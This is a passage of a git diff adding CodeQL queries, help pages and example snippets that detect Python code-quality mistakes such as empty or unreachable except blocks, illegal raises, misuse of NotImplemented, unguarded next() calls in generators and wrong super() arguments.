try_has_normal_exit(Try try) { + exists(ControlFlowNode pred, ControlFlowNode succ | + /* Exists a non-exception predecessor, successor pair */ + pred.getASuccessor() = succ and + not pred.getAnExceptionalSuccessor() = succ | + /* Successor is either a normal flow node or a fall-through exit */ + not exists(Scope s | s.getReturnNode() = succ) and + /* Predecessor is in try body and successor is not */ + pred.getNode().getParentNode*() = try.getAStmt() and + not succ.getNode().getParentNode*() = try.getAStmt() + ) +} + +predicate attribute_access(Stmt s) { + s.(ExprStmt).getValue() instanceof Attribute + or + exists(string name | + s.(ExprStmt).getValue().(Call).getFunc().(Name).getId() = name | + name = "getattr" or name = "setattr" or name = "delattr" + ) + or + s.(Delete).getATarget() instanceof Attribute +} + +predicate subscript(Stmt s) { + s.(ExprStmt).getValue() instanceof Subscript + or + s.(Delete).getATarget() instanceof Subscript +} + +predicate encode_decode(Expr ex, ClassObject type) { + exists(string name | + ex.(Call).getFunc().(Attribute).getName() = name | + name = "encode" and type = builtin_object("UnicodeEncodeError") + or + name = "decode" and type = builtin_object("UnicodeDecodeError") + ) +} + +predicate small_handler(ExceptStmt ex, Stmt s, ClassObject type) { + not exists(ex.getTry().getStmt(1)) and + s = ex.getTry().getStmt(0) and + ex.getType().refersTo(type) +} + +/** Holds if this exception handler is sufficiently small in scope to not need a comment + * as to what it is doing. + */ +predicate focussed_handler(ExceptStmt ex) { + exists(Stmt s, ClassObject type | + small_handler(ex, s, type) | + subscript(s) and type.getAnImproperSuperType() = theLookupErrorType() + or + attribute_access(s) and type = theAttributeErrorType() + or + s.(ExprStmt).getValue() instanceof Name and type = theNameErrorType() + or + encode_decode(s.(ExprStmt).getValue(), type) + ) +} + +Try try_return() { + not exists(result.getStmt(1)) and result.getStmt(0) instanceof Return +} + +from ExceptStmt ex +where empty_except(ex) and no_else(ex) and no_comment(ex) and not non_local_control_flow(ex) + and not ex.getTry() = try_return() and try_has_normal_exit(ex.getTry()) and + not focussed_handler(ex) +select ex, "'except' clause does nothing but pass and there is no explanatory comment." diff --git a/python/ql/src/Exceptions/IllegalExceptionHandlerType.py b/python/ql/src/Exceptions/IllegalExceptionHandlerType.py new file mode 100644 index 00000000000..e6b79af0e1d --- /dev/null +++ b/python/ql/src/Exceptions/IllegalExceptionHandlerType.py @@ -0,0 +1,7 @@ +def handle_int(): + try: + raise_int() + #This will not cause an exception, but it will be ignored + except int: + print("This will never be printed") + diff --git a/python/ql/src/Exceptions/IllegalExceptionHandlerType.qhelp b/python/ql/src/Exceptions/IllegalExceptionHandlerType.qhelp new file mode 100644 index 00000000000..8788b8800d0 --- /dev/null +++ b/python/ql/src/Exceptions/IllegalExceptionHandlerType.qhelp @@ -0,0 +1,40 @@ + + + +

    If the class specified in an except handler (within a try statement) is +not a legal exception class, then it will never match a raised exception and never be executed +

    + +

    Legal exception classes are:

    +
      +
    • Any old-style classes (Python 2 only)
    • +
    • Any subclass of the builtin class BaseException
    • +
    +

    +However, it recommended that you only use subclasses of the builtin class +Exception (which is itself a subclass of BaseException). +

    + +
    + +

    Ensure that the specified class is the one intended. If it is not then replace it with +the correct one. Otherwise the entire except block can be deleted. +

    + +
    + + + + + + + + +
  • Python Language Reference: Exceptions.
  • +
  • Python Tutorial: Handling Exceptions.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/IllegalExceptionHandlerType.ql b/python/ql/src/Exceptions/IllegalExceptionHandlerType.ql new file mode 100644 index 00000000000..24a15198f18 --- /dev/null +++ b/python/ql/src/Exceptions/IllegalExceptionHandlerType.ql @@ -0,0 +1,30 @@ +/** + * @name Non-exception in 'except' clause + * @description An exception handler specifying a non-exception type will never handle any exception. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/useless-except + */ + +import python + +from ExceptFlowNode ex, Object t, ClassObject c, ControlFlowNode origin, string what +where ex.handledException(t, c, origin) and +( + exists(ClassObject x | x = t | + not x.isLegalExceptionType() and + not x.failedInference() and + what = "class '" + x.getName() + "'" + ) + or + not t instanceof ClassObject and + what = "instance of '" + c.getName() + "'" +) + +select ex.getNode(), "Non-exception $@ in exception handler which will never match raised exception.", origin, what + diff --git a/python/ql/src/Exceptions/IllegalRaise.py b/python/ql/src/Exceptions/IllegalRaise.py new file mode 100644 index 00000000000..5f50d3db901 --- /dev/null +++ b/python/ql/src/Exceptions/IllegalRaise.py @@ -0,0 +1,5 @@ +#Cannot raise an int, even if we want to +def raise_int(): + #Will raise a TypeError + raise 4 + diff --git a/python/ql/src/Exceptions/IllegalRaise.qhelp b/python/ql/src/Exceptions/IllegalRaise.qhelp new file mode 100644 index 00000000000..da7bcb75afe --- /dev/null +++ b/python/ql/src/Exceptions/IllegalRaise.qhelp @@ -0,0 +1,38 @@ + + + +

    If the object raised is not a legal Exception class or an instance of one, then +a TypeError will be raised instead.

    + +

    Legal exception classes are:

    +
      +
    • Any old-style classes (Python 2 only)
    • +
    • Any subclass of the builtin class BaseException
    • +
    +

    +However, it recommended that you only use subclasses of the builtin class +Exception (which is itself a subclass of BaseException). +

    + +
    + +

    Change the expression in the raise statement to be a legal exception.

    + + +
    + + + + + + + + +
  • Python Language Reference: Exceptions.
  • +
  • Python Tutorial: Handling Exceptions.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/IllegalRaise.ql b/python/ql/src/Exceptions/IllegalRaise.ql new file mode 100644 index 00000000000..673289b9e97 --- /dev/null +++ b/python/ql/src/Exceptions/IllegalRaise.ql @@ -0,0 +1,21 @@ +/** + * @name Illegal raise + * @description Raising a non-exception object or type will result in a TypeError being raised instead. + * @kind problem + * @tags reliability + * correctness + * types + * @problem.severity error + * @sub-severity high + * @precision very-high + * @id py/illegal-raise + */ + +import python +import Raising +import Exceptions.NotImplemented + +from Raise r, ClassObject t +where type_or_typeof(r, t, _) and not t.isLegalExceptionType() and not t.failedInference() and not use_of_not_implemented_in_raise(r, _) +select r, "Illegal class '" + t.getName() + "' raised; will result in a TypeError being raised instead." + diff --git a/python/ql/src/Exceptions/IncorrectExceptOrder.py b/python/ql/src/Exceptions/IncorrectExceptOrder.py new file mode 100644 index 00000000000..15ad395b905 --- /dev/null +++ b/python/ql/src/Exceptions/IncorrectExceptOrder.py @@ -0,0 +1,10 @@ + + +def incorrect_except_order(val): + try: + val.attr + except Exception: + print ("Exception") + except AttributeError: + print ("AttributeError") + diff --git a/python/ql/src/Exceptions/IncorrectExceptOrder.qhelp b/python/ql/src/Exceptions/IncorrectExceptOrder.qhelp new file mode 100644 index 00000000000..d2854af6ca6 --- /dev/null +++ b/python/ql/src/Exceptions/IncorrectExceptOrder.qhelp @@ -0,0 +1,45 @@ + + + +

    When handling an exception, Python searches the except blocks in source code order +until it finds a matching except block for the exception. +An except block, except E:, specifies a class E and will match any +exception that is an instance of E. +

    +

    +If a more general except block precedes a more specific except block, +then the more general block is always executed and the more specific block is never executed. +An except block, except A:, is more general than another except block, except B:, +if A is a super class of B. +

    +

    +For example: +except Exception: is more general than except Error: as Exception +is a super class of Error. +

    + +
    + + +

    Reorganize the except blocks so that the more specific except +is defined first. Alternatively, if the more specific except block is +no longer required then it should be deleted.

    + +
    + +

    In this example the except Exception: will handle AttributeError preventing the +subsequent handler from ever executing.

    + + + +
    + + +
  • Python Language Reference: The try statement, +Exceptions.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/IncorrectExceptOrder.ql b/python/ql/src/Exceptions/IncorrectExceptOrder.ql new file mode 100644 index 00000000000..566f3c68175 --- /dev/null +++ b/python/ql/src/Exceptions/IncorrectExceptOrder.ql @@ -0,0 +1,34 @@ +/** + * @name Unreachable 'except' block + * @description Handling general exceptions before specific exceptions means that the specific + * handlers are never executed. + * @kind problem + * @tags reliability + * maintainability + * external/cwe/cwe-561 + * @problem.severity error + * @sub-severity low + * @precision very-high + * @id py/unreachable-except + */ + +import python + +predicate incorrect_except_order(ExceptStmt ex1, ClassObject cls1, ExceptStmt ex2, ClassObject cls2) { + exists(int i, int j, Try t | + ex1 = t.getHandler(i) and + ex2 = t.getHandler(j) and i < j and + cls1 = except_class(ex1) and + cls2 = except_class(ex2) and + cls1 = cls2.getASuperType() + ) +} + +ClassObject except_class(ExceptStmt ex) { + ex.getType().refersTo(result) +} + +from ExceptStmt ex1, ClassObject cls1, ExceptStmt ex2, ClassObject cls2 +where incorrect_except_order(ex1, cls1, ex2, cls2) +select ex2, "Except block for $@ is unreachable; the more general $@ for $@ will always be executed in preference.", + cls2, cls2.getName(), ex1, "except block", cls1, cls1.getName() diff --git a/python/ql/src/Exceptions/NotImplemented.py b/python/ql/src/Exceptions/NotImplemented.py new file mode 100644 index 00000000000..53b3189f099 --- /dev/null +++ b/python/ql/src/Exceptions/NotImplemented.py @@ -0,0 +1,9 @@ + +class Abstract(object): + + def wrong(self): + # Will raise a TypeError + raise NotImplemented() + + def right(self): + raise NotImplementedError() diff --git a/python/ql/src/Exceptions/NotImplemented.qll b/python/ql/src/Exceptions/NotImplemented.qll new file mode 100644 index 00000000000..016204a7cd1 --- /dev/null +++ b/python/ql/src/Exceptions/NotImplemented.qll @@ -0,0 +1,11 @@ + +import python + +/** Holds if `notimpl` refers to `NotImplemented` or `NotImplemented()` in the `raise` statement */ +predicate use_of_not_implemented_in_raise(Raise raise, Expr notimpl) { + notimpl.refersTo(theNotImplementedObject()) and + ( + notimpl = raise.getException() or + notimpl = raise.getException().(Call).getFunc() + ) +} diff --git a/python/ql/src/Exceptions/NotImplementedIsNotAnException.qhelp b/python/ql/src/Exceptions/NotImplementedIsNotAnException.qhelp new file mode 100644 index 00000000000..3bf09bbfab0 --- /dev/null +++ b/python/ql/src/Exceptions/NotImplementedIsNotAnException.qhelp @@ -0,0 +1,41 @@ + + + + +

    NotImplemented is not an Exception, but is often mistakenly used in place of NotImplementedError. +Executing raise NotImplemented or raise NotImplemented() will raise a TypeError. +When raise NotImplemented is used to mark code that is genuinely never called, this mistake is benign. + +However, should it be called, then a TypeError will be raised rather than the expected NotImplemented, +which might make debugging the issue difficult. +

    + +

    The correct use of NotImplemented is to implement binary operators. +Code that is not intended to be called should raise NotImplementedError.

    + +
    + +

    Replace uses of NotImplemented with NotImplementedError.

    +
    + + +

    +In the example below, the method wrong will incorrectly raise a TypeError when called. +The method right will raise a NotImplementedError. +

    + + + + +
    + + + +
  • Python Language Reference: The NotImplementedError exception.
  • +
  • Python Language Reference: Emulating numeric types.
  • + +
    + +
    diff --git a/python/ql/src/Exceptions/NotImplementedIsNotAnException.ql b/python/ql/src/Exceptions/NotImplementedIsNotAnException.ql new file mode 100644 index 00000000000..89f1bb04568 --- /dev/null +++ b/python/ql/src/Exceptions/NotImplementedIsNotAnException.ql @@ -0,0 +1,19 @@ +/** + * @name NotImplemented is not an Exception + * @description Using 'NotImplemented' as an exception will result in a type error. + * @kind problem + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/raise-not-implemented + * @tags reliability + * maintainability + */ + +import python +import Exceptions.NotImplemented + +from Expr notimpl +where use_of_not_implemented_in_raise(_, notimpl) + +select notimpl, "NotImplemented is not an Exception. Did you mean NotImplementedError?" diff --git a/python/ql/src/Exceptions/Raising.qll b/python/ql/src/Exceptions/Raising.qll new file mode 100644 index 00000000000..b820bfa24e9 --- /dev/null +++ b/python/ql/src/Exceptions/Raising.qll @@ -0,0 +1,14 @@ +import python + +/** Whether the raise statement 'r' raises 'type' from origin 'orig' */ +predicate type_or_typeof(Raise r, ClassObject type, AstNode orig) { + exists(Expr exception | + exception = r.getRaised() | + exception.refersTo(type, _, orig) + or + not exists(ClassObject exc_type | exception.refersTo(exc_type)) and + not type = theTypeType() and // First value is an unknown exception type + exception.refersTo(_, type, orig) + ) + +} diff --git a/python/ql/src/Exceptions/RaisingTuple.py b/python/ql/src/Exceptions/RaisingTuple.py new file mode 100644 index 00000000000..50b7e81f82a --- /dev/null +++ b/python/ql/src/Exceptions/RaisingTuple.py @@ -0,0 +1,5 @@ + + +def raise_tuple(): + ex = Exception, "Important diagnostic information" + raise ex diff --git a/python/ql/src/Exceptions/RaisingTuple.qhelp b/python/ql/src/Exceptions/RaisingTuple.qhelp new file mode 100644 index 00000000000..4f47d3ee302 --- /dev/null +++ b/python/ql/src/Exceptions/RaisingTuple.qhelp @@ -0,0 +1,47 @@ + + + +

    In Python 2, if a tuple is raised then all elements but the first are ignored and only the first part is raised. +If the first element is itself a tuple, then the first element of that is used and so on. +This unlikely to be the intended effect and will most likely indicate some sort of error.

    + +

    It is important to note that the exception in raise Exception, message is not a tuple, whereas the exception +in ex = Exception, message; raise ex is a tuple.

    + +

    +In Python 3, raising a tuple is an error. +

    + + +
    + + +

    Given that all but the first element of the tuple is ignored, +the tuple should be replaced with its first element in order to +improve the clarity of the code. If the subsequent parts of the tuple +were intended to form the message, then they should be passed as an argument +when creating the exception. +

    + + + +
    + + +

    In the following example the intended error message is mistakenly used to form a tuple.

    + +

    This can be fixed, either by using the message to create the exception or using the message in the raise +statement, as shown below.

    + + +
    + + +
  • Python Language Reference: Exceptions.
  • +
  • Python Tutorial: Handling Exceptions.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/RaisingTuple.ql b/python/ql/src/Exceptions/RaisingTuple.ql new file mode 100644 index 00000000000..8bf5c7705b5 --- /dev/null +++ b/python/ql/src/Exceptions/RaisingTuple.ql @@ -0,0 +1,18 @@ +/** + * @name Raising a tuple + * @description Raising a tuple will result in all but the first element being discarded + * @kind problem + * @tags maintainability + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/raises-tuple + */ + +import python + +from Raise r, AstNode origin +where r.getException().refersTo(_, theTupleType(), origin) and +major_version() = 2 /* Raising a tuple is a type error in Python 3, so is handled by the IllegalRaise query. */ + +select r, "Raising $@ will result in the first element (recursively) being raised and all other elements being discarded.", origin, "a tuple" \ No newline at end of file diff --git a/python/ql/src/Exceptions/RaisingTuple2.py b/python/ql/src/Exceptions/RaisingTuple2.py new file mode 100644 index 00000000000..0d8b85657ff --- /dev/null +++ b/python/ql/src/Exceptions/RaisingTuple2.py @@ -0,0 +1,9 @@ + + +def fixed_raise_tuple1(): + ex = Exception("Important diagnostic information") + raise ex + + +def fixed_raise_tuple2(): + raise Exception, "Important diagnostic information" diff --git a/python/ql/src/Exceptions/UnguardedNextInGenerator.qhelp b/python/ql/src/Exceptions/UnguardedNextInGenerator.qhelp new file mode 100644 index 00000000000..94474906bbc --- /dev/null +++ b/python/ql/src/Exceptions/UnguardedNextInGenerator.qhelp @@ -0,0 +1,51 @@ + + + +

    +The function next() will raise a StopIteration exception +if the underlying iterator is exhausted. +Normally this is fine, but in a generator may cause problems. +Since the StopIteration is an exception it will be propagated out of the generator +causing termination of the generator. This is unlikely to be the expected behavior and may mask +errors. +

    + +

    +This problem is considered sufficiently serious that PEP 479 +has been accepted to modify the handling of StopIteration in generators. Consequently, code that does not handle +StopIteration properly is likely to fail in future versions of Python. +

    + +
    + +

    +Each call to next() should be wrapped in a try-except to explicitly +handle StopIteration exceptions. +

    + +
    + +

    +In the following example, an empty file part way through iteration will silently truncate the output as +the StopIteration exception propagates to the top level. +

    + + + +

    +In the following example StopIteration exception is explicitly handled, +allowing all the files to be processed. +

    + + + +
    + + +
  • Python PEP index: PEP 479.
  • + + +
    +
    diff --git a/python/ql/src/Exceptions/UnguardedNextInGenerator.ql b/python/ql/src/Exceptions/UnguardedNextInGenerator.ql new file mode 100755 index 00000000000..ca3683f0560 --- /dev/null +++ b/python/ql/src/Exceptions/UnguardedNextInGenerator.ql @@ -0,0 +1,61 @@ +/** + * @name Unguarded next in generator + * @description Calling next() in a generator may cause unintended early termination of an iteration. + * @kind problem + * @tags maintainability + * portability + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/unguarded-next-in-generator + */ + +import python + +FunctionObject iter() { + result = builtin_object("iter") +} + +FunctionObject next() { + result = builtin_object("next") +} + +predicate call_to_iter(CallNode call, EssaVariable sequence) { + sequence.getAUse() = iter().getArgumentForCall(call, 0) +} + +predicate call_to_next(CallNode call, ControlFlowNode iter) { + iter = next().getArgumentForCall(call, 0) +} + +predicate guarded_not_empty_sequence(EssaVariable sequence) { + sequence.getDefinition() instanceof EssaEdgeRefinement +} + +/** The pattern `next(iter(x))` is often used where `x` is known not be empty. Check for that. */ +predicate iter_not_exhausted(EssaVariable iterator) { + exists(EssaVariable sequence | + call_to_iter(iterator.getDefinition().(AssignmentDefinition).getValue(), sequence) and + guarded_not_empty_sequence(sequence) + ) +} + +predicate stop_iteration_handled(CallNode call) { + exists(Try t | + t.containsInScope(call.getNode()) and + t.getAHandler().getType().refersTo(theStopIterationType()) + ) +} + +from CallNode call +where call_to_next(call, _) and +not exists(EssaVariable iterator | + call_to_next(call, iterator.getAUse()) and + iter_not_exhausted(iterator) +) and +call.getNode().getScope().(Function).isGenerator() and +not exists(Comp comp | comp.contains(call.getNode())) and +not stop_iteration_handled(call) + +select call, "Call to next() in a generator" + diff --git a/python/ql/src/Exceptions/UnguardedNextInGeneratorBad.py b/python/ql/src/Exceptions/UnguardedNextInGeneratorBad.py new file mode 100644 index 00000000000..550ae35e71a --- /dev/null +++ b/python/ql/src/Exceptions/UnguardedNextInGeneratorBad.py @@ -0,0 +1,19 @@ + +test_files = [ + ["header1", "text10", "text11", "text12"], + ["header2", "text20", "text21", "text22"], + [], + ["header4", "text40", "text41", "text42"], +] + +def separate_headers(files): + for file in files: + lines = iter(file) + header = next(lines) # Will raise StopIteration if lines is exhausted + body = [ l for l in lines ] + yield header, body + +def process_files(files): + for header, body in separate_headers(files): + print(format_page(header, body)) + diff --git a/python/ql/src/Exceptions/UnguardedNextInGeneratorGood.py b/python/ql/src/Exceptions/UnguardedNextInGeneratorGood.py new file mode 100644 index 00000000000..23121888558 --- /dev/null +++ b/python/ql/src/Exceptions/UnguardedNextInGeneratorGood.py @@ -0,0 +1,11 @@ + +def separate_headers(files): + for file in files: + lines = iter(file) + try: + header = next(lines) # Will raise StopIteration if lines is exhausted + except StopIteration: + #Empty file -- Just ignore + continue + body = [ l for l in lines ] + yield header, body diff --git a/python/ql/src/Expressions/CallArgs.qll b/python/ql/src/Expressions/CallArgs.qll new file mode 100644 index 00000000000..fc61f38a826 --- /dev/null +++ b/python/ql/src/Expressions/CallArgs.qll @@ -0,0 +1,130 @@ +import python + +import Testing.Mox + +private int varargs_length(Call call) { + not exists(call.getStarargs()) and result = 0 + or + exists(TupleObject t | + call.getStarargs().refersTo(t) | + result = t.getLength() + ) + or + result = count(call.getStarargs().(List).getAnElt()) +} + +/** Gets a keyword argument that is not a keyword-only parameter. */ +private Keyword not_keyword_only_arg(Call call, FunctionObject func) { + func.getACall().getNode() = call and + result = call.getAKeyword() and + not func.getFunction().getAKeywordOnlyArg().getId() = result.getArg() +} + +/** Gets the count of arguments that are passed as positional parameters even if they + * are named in the call. + * This is the sum of the number of positional arguments, the number of elements in any explicit tuple passed as *arg + * plus the number of keyword arguments that do not match keyword-only arguments (if the function does not take **kwargs). + */ + +private int positional_arg_count_for_call(Call call, Object callable) { + call = get_a_call(callable).getNode() and + exists(int positional_keywords | + exists(FunctionObject func | func = get_function_or_initializer(callable) | + not func.getFunction().hasKwArg() and + positional_keywords = count(not_keyword_only_arg(call, func)) + or + func.getFunction().hasKwArg() and positional_keywords = 0 + ) + | + result = count(call.getAnArg()) + varargs_length(call) + positional_keywords + ) +} + +int arg_count(Call call) { + result = count(call.getAnArg()) + varargs_length(call) + count(call.getAKeyword()) +} + +/* Gets a call corresponding to the given class or function*/ +private ControlFlowNode get_a_call(Object callable) { + result = callable.(ClassObject).getACall() + or + result = callable.(FunctionObject).getACall() +} + +/* Gets the function object corresponding to the given class or function*/ +FunctionObject get_function_or_initializer(Object func_or_cls) { + result = func_or_cls.(FunctionObject) + or + result = func_or_cls.(ClassObject).declaredAttribute("__init__") +} + + +/**Whether there is an illegally named parameter called `name` in the `call` to `func` */ +predicate illegally_named_parameter(Call call, Object func, string name) { + not func.isC() and + name = call.getANamedArgumentName() and + call.getAFlowNode() = get_a_call(func) and + not get_function_or_initializer(func).isLegalArgumentName(name) +} + +/**Whether there are too few arguments in the `call` to `callable` where `limit` is the lowest number of legal arguments */ +predicate too_few_args(Call call, Object callable, int limit) { + // Exclude cases where an incorrect name is used as that is covered by 'Wrong name for an argument in a call' + not illegally_named_parameter(call, callable, _) and + not exists(call.getStarargs()) and not exists(call.getKwargs()) and + arg_count(call) < limit and + exists(FunctionObject func | func = get_function_or_initializer(callable) | + call = func.getAFunctionCall().getNode() and limit = func.minParameters() and + /* The combination of misuse of `mox.Mox().StubOutWithMock()` + * and a bug in mox's implementation of methods results in having to + * pass 1 too few arguments to the mocked function. + */ + not (useOfMoxInModule(call.getEnclosingModule()) and func.isNormalMethod()) + or + call = func.getAMethodCall().getNode() and limit = func.minParameters() - 1 + or + callable instanceof ClassObject and + call.getAFlowNode() = get_a_call(callable) and limit = func.minParameters() - 1 + ) +} + +/**Whether there are too many arguments in the `call` to `func` where `limit` is the highest number of legal arguments */ +predicate too_many_args(Call call, Object callable, int limit) { + // Exclude cases where an incorrect name is used as that is covered by 'Wrong name for an argument in a call' + not illegally_named_parameter(call, callable, _) and + exists(FunctionObject func | + func = get_function_or_initializer(callable) and + not func.getFunction().hasVarArg() and limit >= 0 + | + call = func.getAFunctionCall().getNode() and limit = func.maxParameters() + or + call = func.getAMethodCall().getNode() and limit = func.maxParameters() - 1 + or + callable instanceof ClassObject and + call.getAFlowNode() = get_a_call(callable) and limit = func.maxParameters() - 1 + ) and + positional_arg_count_for_call(call, callable) > limit +} + +/** Holds if `call` has too many or too few arguments for `func` */ +predicate wrong_args(Call call, FunctionObject func, int limit, string too) { + too_few_args(call, func, limit) and too = "too few" + or + too_many_args(call, func, limit) and too = "too many" +} + +/** Holds if `call` has correct number of arguments for `func`. + * Implies nothing about whether `call` could call `func`. + */ + bindingset[call, func] +predicate correct_args_if_called_as_method(Call call, FunctionObject func) { + arg_count(call)+1 >= func.minParameters() + and + arg_count(call) < func.maxParameters() +} + +/** Holds if `call` is a call to `overriding`, which overrides `func`. */ +predicate overridden_call(FunctionObject func, FunctionObject overriding, Call call) { + overriding.overrides(func) and + overriding.getACall().getNode() = call +} diff --git a/python/ql/src/Expressions/CallToSuperWrongClass.py b/python/ql/src/Expressions/CallToSuperWrongClass.py new file mode 100644 index 00000000000..dee56fb7aec --- /dev/null +++ b/python/ql/src/Expressions/CallToSuperWrongClass.py @@ -0,0 +1,34 @@ + + +class Vehicle(object): + pass + +class Car(Vehicle): + + def __init__(self): + #This is OK provided that Car is not subclassed. + super(Vehicle, self).__init__() + self.car_init() + +class StatusSymbol(object): + + def __init__(self): + super(StatusSymbol, self).__init__() + self.show_off() + +class SportsCar(Car, StatusSymbol): + + def __init__(self): + #This will not call StatusSymbol.__init__() + super(SportsCar, self).__init__() + self.sports_car_init() + + +#Fix Car by passing Car to super(). +#SportsCar does not need to be changed. +class Car(Car, Vehicle): + + def __init__(self): + super(Car, self).__init__() + self.car_init() + diff --git a/python/ql/src/Expressions/CallToSuperWrongClass.qhelp b/python/ql/src/Expressions/CallToSuperWrongClass.qhelp new file mode 100644 index 00000000000..dc88b1bea88 --- /dev/null +++ b/python/ql/src/Expressions/CallToSuperWrongClass.qhelp @@ -0,0 +1,45 @@ + + + +

    +The super class should be called with the enclosing class as its first argument and self as its second argument. +

    +

    +Passing a different class may work correctly, provided the class passed is a super class of the enclosing class and the enclosing class +does not define an __init__ method. +However, this may result in incorrect object initialization if the enclosing class is later subclassed using multiple inheritance. +

    + + +
    + + +

    + Ensure that the first argument to super() is the enclosing class. +

    + + +
    + +

    +In this example the call to super(Vehicle, self) in Car.__init__ is incorrect as it +passes Vehicle rather than Car as the first argument to super. +As a result, super(SportsCar, self).__init__() in the SportsCar.__init__ method will not call +all __init__() methods because the call to super(Vehicle, self).__init__() +skips StatusSymbol.__init__(). +

    + + + + +
    + + +
  • Python Standard Library: super.
  • +
  • Artima Developer: Things to Know About Python Super.
  • + + +
    +
    diff --git a/python/ql/src/Expressions/CallToSuperWrongClass.ql b/python/ql/src/Expressions/CallToSuperWrongClass.ql new file mode 100644 index 00000000000..a42cbcefe4b --- /dev/null +++ b/python/ql/src/Expressions/CallToSuperWrongClass.ql @@ -0,0 +1,29 @@ +/** + * @name First argument to super() is not enclosing class + * @description Calling super with something other than the enclosing class may cause incorrect object initialization. + * @kind problem + * @tags reliability + * maintainability + * convention + * external/cwe/cwe-687 + * @problem.severity error + * @sub-severity low + * @precision high + * @id py/super-not-enclosing-class + */ + +import python + +from CallNode call_to_super, string name +where +exists(GlobalVariable gv, ControlFlowNode cn | + call_to_super = theSuperType().getACall() and + gv.getId() = "super" and + cn = call_to_super.getArg(0) and + name = call_to_super.getScope().getScope().(Class).getName() and + exists(ClassObject other | + cn.refersTo(other) and + not other.getPyClass().getName() = name + ) +) +select call_to_super.getNode(), "First argument to super() should be " + name + "." diff --git a/python/ql/src/Expressions/CompareConstants.py b/python/ql/src/Expressions/CompareConstants.py new file mode 100644 index 00000000000..7345433edec --- /dev/null +++ b/python/ql/src/Expressions/CompareConstants.py @@ -0,0 +1,6 @@ + +#Interoperate with very old versions of Python (pre 2.3) +try: + True +except NameError: + __builtins__.True = 1==1 diff --git a/python/ql/src/Expressions/CompareConstants.qhelp b/python/ql/src/Expressions/CompareConstants.qhelp new file mode 100644 index 00000000000..3dcbd1cc4ab --- /dev/null +++ b/python/ql/src/Expressions/CompareConstants.qhelp @@ -0,0 +1,35 @@ + + + + + +

    When two constants are compared it is typically an +indication of a mistake, since the Boolean value of the comparison +will always be the same. In very old code this may be used to initialize +True and False.

    + +
    + + +

    It is never good practice to compare a value with itself. If the constant +behavior is indeed required, use the Boolean literals True or +False, rather than encoding them obscurely as 1 == 1 +or similar. If there is a mistake, ascertain the desired behavior and correct it. +

    + +
    + + +

    In this example, old code uses 1==1 to initialize __builtins__.True. +This code has been unnecessary on all versions of Python released since 2003 and can be deleted. +

    + +
    + + +
  • Python Language Reference: Comparisons.
  • + +
    +
    diff --git a/python/ql/src/Expressions/CompareConstants.ql b/python/ql/src/Expressions/CompareConstants.ql new file mode 100644 index 00000000000..2a66a952c5e --- /dev/null +++ b/python/ql/src/Expressions/CompareConstants.ql @@ -0,0 +1,21 @@ +/** + * @name Comparison of constants + * @description Comparison of constants is always constant, but is harder to read than a simple constant. + * @kind problem + * @tags maintainability + * useless-code + * external/cwe/cwe-570 + * external/cwe/cwe-571 + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/comparison-of-constants + */ + +import python + +from Compare comparison, Expr left, Expr right +where + comparison.compares(left, _, right) and left.isConstant() and right.isConstant() and + not exists(Assert a | a.getTest() = comparison) +select comparison, "Comparison of constants; use 'True' or 'False' instead." diff --git a/python/ql/src/Expressions/CompareIdenticalValues.py b/python/ql/src/Expressions/CompareIdenticalValues.py new file mode 100644 index 00000000000..8d115c99c10 --- /dev/null +++ b/python/ql/src/Expressions/CompareIdenticalValues.py @@ -0,0 +1,8 @@ + +#Using 'x == x' to check that 'x' is not a float('nan'). +def is_normal(f): + return not cmath.isinf(f) and f == f + +#Improved version; intention is explicit. +def is_normal(f): + return not cmath.isinf(f) and not cmath.isnan(f) \ No newline at end of file diff --git a/python/ql/src/Expressions/CompareIdenticalValues.qhelp b/python/ql/src/Expressions/CompareIdenticalValues.qhelp new file mode 100644 index 00000000000..5c8c5371ed3 --- /dev/null +++ b/python/ql/src/Expressions/CompareIdenticalValues.qhelp @@ -0,0 +1,38 @@ + + + + + +

    When two identical expressions are compared it is typically an +indication of a mistake, since the Boolean value of the comparison +will always be the same, unless the value is the floating point value float('nan'). +

    + +
    + + +

    It is not good practice to compare a value with itself, as it makes the code hard to read +and can hide errors with classes that do not correctly implement equality. +If testing whether a floating-point value is not-a-number, then use math.isnan(). +If the value may be a complex number, then use cmath.isnan() instead. +

    + +
    + + +

    In this example f == f is used to check for float('nan'). +This makes the code difficult to understand as the reader may not be immediately familiar with this pattern. +

    + +
    + + +
  • Python Language Reference: Comparisons.
  • +
  • Python Library Reference: math.isnan().
  • +
  • Python Library Reference: cmath.isnan().
  • + + +
    +
    diff --git a/python/ql/src/Expressions/CompareIdenticalValues.ql b/python/ql/src/Expressions/CompareIdenticalValues.ql new file mode 100644 index 00000000000..c950d3ebb2e --- /dev/null +++ b/python/ql/src/Expressions/CompareIdenticalValues.ql @@ -0,0 +1,22 @@ +/** + * @name Comparison of identical values + * @description Comparison of identical values, the intent of which is unclear. + * @kind problem + * @tags reliability + * correctness + * readability + * convention + * external/cwe/cwe-570 + * external/cwe/cwe-571 + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/comparison-of-identical-expressions + */ + +import python +import Expressions.RedundantComparison + +from RedundantComparison comparison +where not comparison.isConstant() and not comparison.maybeMissingSelf() +select comparison, "Comparison of identical values; use cmath.isnan() if testing for not-a-number." diff --git a/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.py b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.py new file mode 100644 index 00000000000..6b4da941e0e --- /dev/null +++ b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.py @@ -0,0 +1,20 @@ + +class Customer: + + def __init__(self, data): + self.data = data + + def check_data(self, data): + if data != data: # Forgotten 'self' + raise Exception("Invalid data!") + +#Fixed version + +class Customer: + + def __init__(self, data): + self.data = data + + def check_data(self, data): + if self.data != data: + raise Exception("Invalid data!") diff --git a/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.qhelp b/python/ql/src/Expressions/CompareIdenticalValuesMissingSelf.qhelp new file mode 100644 index 00000000000..36ae280a3b8 --- /dev/null +++ 